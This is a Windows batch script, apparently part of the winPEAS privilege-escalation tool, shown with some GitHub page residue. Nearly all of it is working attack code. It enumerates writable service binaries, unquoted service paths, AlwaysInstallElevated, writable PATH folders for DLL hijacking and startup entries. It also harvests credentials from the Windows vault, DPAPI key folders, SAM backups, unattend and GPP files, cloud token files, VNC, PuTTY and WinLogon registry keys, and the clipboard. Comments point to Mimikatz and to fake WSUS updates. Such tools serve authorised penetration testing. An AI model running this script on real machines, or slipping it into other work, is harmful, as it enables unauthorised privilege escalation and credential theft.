||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software
|
||||
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
|
||||
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
|
||||
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ /s | findstr InstallLocation | findstr ":\\"
|
||||
IF exist C:\Windows\CCM\SCClient.exe echo SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading)
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Remote Desktop Credentials Manager ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager
|
||||
IF exist "%AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" echo Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WSUS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
|
||||
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] RUNNING PROCESSES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Something unexpected is running? Check for vulnerabilities
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes
|
||||
tasklist /SVC
|
||||
echo.
|
||||
echo [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||||
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
|
||||
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
|
||||
)
|
||||
)
|
||||
echo.
|
||||
echo [i] Checking directory permissions of running processes (DLL injection)
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
|
||||
)
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] RUN ^AT STARTUP ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup
|
||||
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^
|
||||
icacls "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^
|
||||
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^
|
||||
icacls "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^
|
||||
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^
|
||||
icacls "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^
|
||||
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^
|
||||
icacls "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\*" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. & ^
|
||||
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab informa")
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] AlwaysInstallElevated? ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] If '1' then you can install a .msi file with admin privileges ;)
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
echo.
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] NETWORK ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT SHARES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
net share
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] INTERFACES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
ipconfig /all
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] USED PORTS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Check for services restricted from the outside
|
||||
netstat -ano | findstr /i listen
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] FIREWALL ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
netsh firewall show state
|
||||
netsh firewall show config
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ^ARP ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
arp -A
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ROUTES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
route print
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Hosts file ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
type C:\WINDOWS\System32\drivers\etc\hosts | findstr /v "^#"
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CACHE DNS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WIFI ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] To get the clear-text password use: netsh wlan show profile <SSID> key=clear
|
||||
netsh wlan show profile
|
||||
echo.
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^>[*] BASIC USER INFO ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT USER ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
net user %username%
|
||||
net user %USERNAME% /domain 2>nul
|
||||
whoami /all
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] USERS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
net user
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] GROUPS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
net localgroup
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] ADMINISTRATORS GROUPS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
net localgroup Administrators 2>nul
|
||||
net localgroup Administradores 2>nul
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT LOGGED USERS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
quser
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Kerberos Tickets ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
klist
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CURRENT CLIPBOARD ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Any password inside the clipboard?
|
||||
powershell -command "Get-Clipboard" 2>nul
|
||||
echo.
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] SERVICES VULNERABILITIES ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
::echo.
|
||||
::echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\Users, Todos and CURRENT USER ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
::echo [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service
|
||||
::echo [i] If accesschk.exe is not in PATH, nothing will be found here
|
||||
::echo [I] AUTHETICATED USERS
|
||||
::accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
|
||||
::echo [I] EVERYONE
|
||||
::accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul
|
||||
::echo [I] BUILTIN\Users
|
||||
::accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
|
||||
::echo [I] TODOS
|
||||
::accesschk.exe -uwcqv "Todos" * /accepteula 2>nul
|
||||
::echo [I] %USERNAME%
|
||||
::accesschk.exe -uwcqv %username% * /accepteula 2>nul
|
||||
::echo.
|
||||
::echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] SERVICE PERMISSIONS WITH accesschk.exe FOR * ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
::echo [i] Check for weird service permissions for unexpected groups"
|
||||
::accesschk.exe -uwcqv * /accepteula 2>nul
|
||||
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] SERVICE BINARY PERMISSIONS WITH WMIC + ICACLS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
||||
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
||||
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && echo.
|
||||
)
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
||||
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && echo You can modify %%a
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] UNQUOTED SERVICE PATHS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Progam.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
|
||||
echo [i] The permissions are also checked and filtered using icacls
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
||||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||||
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
|
||||
)
|
||||
)
|
||||
::wmic service get name,displayname,pathname,startmode | more | findstr /i /v "C:\\Windows\\system32\\" | findstr /i /v """
|
||||
echo.
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] DLL HIJACKING in PATHenv variable ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
|
||||
echo [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
echo.
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] CREDENTIALS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WINDOWS VAULT ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault
|
||||
cmdkey /list
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] DPAPI MASTER KEYS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
|
||||
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
|
||||
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] DPAPI MASTER KEYS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
|
||||
echo [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
|
||||
echo Looking inside %appdata%\Microsoft\Credentials\
|
||||
dir /b/a %appdata%\Microsoft\Credentials\ 2>nul
|
||||
echo Looking inside %localappdata%\Microsoft\Credentials\
|
||||
dir /b/a %localappdata%\Microsoft\Credentials\ 2>nul
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Unattended files ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
IF EXIST %WINDIR%\sysprep\sysprep.xml ECHO %WINDIR%\sysprep\sysprep.xml exists.
|
||||
IF EXIST %WINDIR%\sysprep\sysprep.inf ECHO %WINDIR%\sysprep\sysprep.inf exists.
|
||||
IF EXIST %WINDIR%\sysprep.inf ECHO %WINDIR%\sysprep.inf exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattended.xml ECHO %WINDIR%\Panther\Unattended.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend.xml ECHO %WINDIR%\Panther\Unattend.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend\Unattend.xml ECHO %WINDIR%\Panther\Unattend\Unattend.xml exists.
|
||||
IF EXIST %WINDIR%\Panther\Unattend\Unattended.xml ECHO %WINDIR%\Panther\Unattend\Unattended.xml exists.
|
||||
IF EXIST %WINDIR%\System32\Sysprep\unattend.xml ECHO %WINDIR%\System32\Sysprep\unattend.xml exists.
|
||||
IF EXIST %WINDIR%\System32\Sysprep\unattended.xml ECHO %WINDIR%\System32\Sysprep\unattended.xml exists.
|
||||
IF EXIST %WINDIR%\..\unattend.txt ECHO %WINDIR%\..\unattend.txt exists.
|
||||
IF EXIST %WINDIR%\..\unattend.inf ECHO %WINDIR%\..\unattend.inf exists.
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] SAM & SYSTEM backups ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
IF EXIST %WINDIR%\repair\SAM ECHO %WINDIR%\repair\SAM exists.
|
||||
IF EXIST %WINDIR%\System32\config\RegBack\SAM ECHO %WINDIR%\System32\config\RegBack\SAM exists.
|
||||
IF EXIST %WINDIR%\System32\config\SAM ECHO %WINDIR%\System32\config\SAM exists.
|
||||
IF EXIST %WINDIR%\repair\SYSTEM ECHO %WINDIR%\repair\SYSTEM exists.
|
||||
IF EXIST %WINDIR%\System32\config\SYSTEM ECHO %WINDIR%\System32\config\SYSTEM exists.
|
||||
IF EXIST %WINDIR%\System32\config\RegBack\SYSTEM ECHO %WINDIR%\System32\config\RegBack\SYSTEM exists.
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] McAffe SiteList.xml ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
cd %ProgramFiles% 2>nul
|
||||
dir /s SiteList.xml
|
||||
cd %ProgramFiles(x86)% 2>nul
|
||||
dir /s SiteList.xml
|
||||
cd "%windir%\..\Documents and Settings" 2>nul
|
||||
dir /s SiteList.xml
|
||||
cd %windir%\..\Users 2>nul
|
||||
dir /s SiteList.xml
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] GPP Password ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
cd "%SystemDrive%\Microsoft\Group Policy\history"
|
||||
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml
|
||||
cd "%windir%\..\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history"
|
||||
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Cloud Creds ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
cd "%SystemDrive%\Users"
|
||||
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json
|
||||
cd "%windir%\..\Documents and Settings"
|
||||
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] AppCmd ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe
|
||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO %systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Files an registry that may contain credentials ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
echo [i] Searching specific files that may contains credentials.
|
||||
echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files
|
||||
echo Looking inside HKCU\Software\ORL\WinVNC3\Password
|
||||
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
|
||||
echo Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
|
||||
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul
|
||||
echo Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
|
||||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
||||
echo Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul
|
||||
echo Looking inside HKCU\Software\TightVNC\Server
|
||||
reg query HKCU\Software\TightVNC\Server 2>nul
|
||||
echo Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
|
||||
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul
|
||||
echo Looking inside HKCU\Software\OpenSSH\Agent\Keys
|
||||
reg query HKCU\Software\OpenSSH\Agent\Keys /s 2>nul
|
||||
cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul
|
||||
cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..
|
||||
dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
|
||||
cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..)
|
||||
echo.
|
||||
echo.
|
||||
if "%long%" == "yes" (
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] REGISTRY WITH STRING pass OR pwd ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
reg query HKLM /f passw /t REG_SZ /s
|
||||
reg query HKCU /f passw /t REG_SZ /s
|
||||
reg query HKLM /f pwd /t REG_SZ /s
|
||||
reg query HKCU /f pwd /t REG_SZ /s
|
||||
echo.
|
||||
echo.
|
||||
echo [i] Iterating through the drives
|
||||
echo.
|
||||
for /f %%x in ('wmic logicaldisk get name^| more') do (
|
||||
set tdrive=%%x
|
||||
if "!tdrive:~1,2!" == ":" (
|
||||
%%x
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
|
||||
echo.
|
||||
echo.
|
||||
echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\ ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
|
||||
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
|
||||
echo.
|
||||
echo.
|
||||
)
|
||||
)
|
||||
echo.
|
||||
)
|
||||
Reference in New Issue
Block a user